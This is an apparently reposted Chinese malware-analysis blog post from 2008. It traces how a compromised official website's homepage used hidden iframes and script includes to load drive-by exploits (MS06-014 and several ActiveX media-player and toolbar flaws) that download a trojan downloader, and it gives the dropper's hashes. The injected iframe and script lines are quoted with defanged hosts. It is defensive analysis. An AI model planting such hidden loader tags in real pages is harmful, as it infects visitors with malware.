某夏露官方网传播 RootKit.Win32.RESSDT.o/Trojan-Downloader.Win32.Agent.mjp
来源:互联网 发布:压制特效字幕的软件 编辑:程序博客网 时间:2024/06/04 01:08
某夏露官方网传播 RootKit.Win32.RESSDT.o/Trojan-Downloader.Win32.Agent.mjp
endurer 原创
2008-04-09 第1版
该网站首页 包含代码:
/---
<iframe src=hxxp://***.look**des*t**.***.cn/wmpu/1810.htm?5918 width=0 height=0></iframe>
---/
#1 hxxp://***.look**des*t**.***.cn/wmpu/1810.htm?5918 包含代码:
/---
<iframe src=../root/vop.htm width=50 height=50 frameborder=0></iframe>
---/
#1.1 hxxp://***.look**des*t**.***.cn//root/vop.htm
输出代码:
/---
<iframe width='0' height='0' src='hxxp://***.look**des*t**.***.cn/root/11.htm'></iframe>
<script src=hxxp://***.look**des*t**.***.cn/root/lzz.js></script>
<script src=hxxp://***.look**des*t**.***.cn/root/bb.js></script>
<sCrIpT LAnGuAgE="jAvAsCrIpT" src=hxxp://***.look**des*t**.***.cn/root/rp.js></script>
<sCrIpT LAnGuAgE="jAvAsCrIpT" src=hxxp://***.look**des*t**.***.cn/root/rp1.js></script>
<script src=hxxp://***.look**des*t**.***.cn/root/ppp.js></script>
---/
然后显示空白页(about:blank)
#1.1.1 hxxp://***.look**des*t**.***.cn/root/11.htm
利用 MS06-014 漏洞下载 hxxp://***.look**des*t**.***.cn/root/svcos.exe
文件说明符 : D:/test/svcos.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-4-9 20:48:57
修改时间 : 2008-4-9 20:48:57
访问时间 : 2008-4-9 20:49:59
大小 : 20625 字节 20.145 KB
MD5 : 42532b8726845cc29c40c06cb10dce2a
SHA1: 56BA928244657273CD6F26EDB858DD33295D79F9
CRC32: f671a2a2
Kaspersky 报为 Trojan-Downloader.Win32.Agent.mjp,瑞星 报为 RootKit.Win32.RESSDT.o>>fsg2.0>>96
#1.1.2 hxxp://***.look**des*t**.***.cn/root/lzz.js
利用联众(GLCHAT.GLChatCtrl.1,clsid:61F5C358-60FB-4A23-A312-D2B556620F20)漏洞下载 hxxp://***.ban**kd**iye**d.cn/root/svcos.exe
#1.1.3 hxxp://***.look**des*t**.***.cn/root/bb.js
利用暴风影音(MPS.StormPlayer)漏洞下载 hxxp://***.ban**kd**iye**d.cn/root/svcos.exe
#1.1.4 hxxp://***.look**des*t**.***.cn/root/rp.js
利用RealPlayer(IERPCtl.IERPCtl.1)漏洞下载 hxxp://***.look**des*t**.***.cn/root/svcos.exe
#1.1.5 hxxp://***.look**des*t**.***.cn/root/rp1.js
同上
#1.1.6 hxxp://***.look**des*t**.***.cn/root/ppp.js
利用PPStream(POWERPLAYER.PowerPlayerCtrl.1)漏洞下载 hxxp://***.ban**kd**iye**d.cn/root/svcos.exe
#1.1.7 利用BaiduBar.Tool 下载 hxxp://***.look**des*t**.***.cn/root/Baidu.cab,内含 Baidu.exe
- 某夏露官方网传播 RootKit.Win32.RESSDT.o/Trojan-Downloader.Win32.Agent.mjp
- RootKit.Win32.RESSDT.o/Trojan-Downloader.Win32.Agent.mjp 的一点分析
- 木马程序 Trojan-Downloader.Win32.Agent.bbb
- 遭遇trojan-downloader.win32.agent.vjh
- 遭遇 qfgsw.sys / Trojan-Downloader.Win32.Agent.bbb / Trojan.Win32.Agent.bvl等
- 某笑话网站挂马Trojan-Downloader.Win32.Agent.rub
- 某笑话网站挂马Trojan-Downloader.Win32.Agent.rub
- 某笑话网站挂马Trojan-Downloader.Win32.Agent.rub
- RootKit.Win32.Agent,Trojan.PSW.Win32.GameOnline,Trojan.Win32.Mnless等1
- RootKit.Win32.Agent,Trojan.PSW.Win32.GameOnline,Trojan.Win32.Mnless等2
- RootKit.Win32.Agent,Trojan.PSW.Win32.GameOnline,Trojan.Win32.Mnless等3
- RootKit.Win32.Agent,Trojan.PSW.Win32.GameOnline,Trojan.Win32.Mnless等4
- 某网站挂Trojan-Downloader.SWF.Small利用flash漏洞传播Trojan-Downloader.Win32.Small
- auto.exe/Backdoor.Win32.Agent.bgu,b8u6bvx912.sys/Trojan-Downloader.Win32.Hmir.don等1
- auto.exe/Backdoor.Win32.Agent.bgu,b8u6bvx912.sys/Trojan-Downloader.Win32.Hmir.don等2
- 一个传播Trojan.Win32.Agent.aac的网站
- ARP病毒加入的网址传播 Trojan.PSW.Win32.OnlineGames,Trojan.DL.Win32.Agent.xaa
- 某省盐业网被植入传播Trojan.DL.Win32.Agent.zrc的代码
- SQL各种写法的效率问题
- Java下简单模仿.net的XmlWriter
- Asp.net 2.0 自定义控件开发[开发一个图表(WebChart)控件(柱状图示例)](示例代码下载)
- DotNet资源站点汇总
- Google 联合一些社交网站来对抗 facebook
- 某夏露官方网传播 RootKit.Win32.RESSDT.o/Trojan-Downloader.Win32.Agent.mjp
- DataTable,DataView和DataGrid中一些容易混淆的概念
- 进程编程1 – Unix环境高级编程7章读书笔记
- Subduing CLASSPATH
- Struts的心酸往事
- 如何实现横向聚合
- Windows Vista真的只是加了新界面吗?
- 好书共享:《公司理财》
- 如何更好地理解《全程软件测试》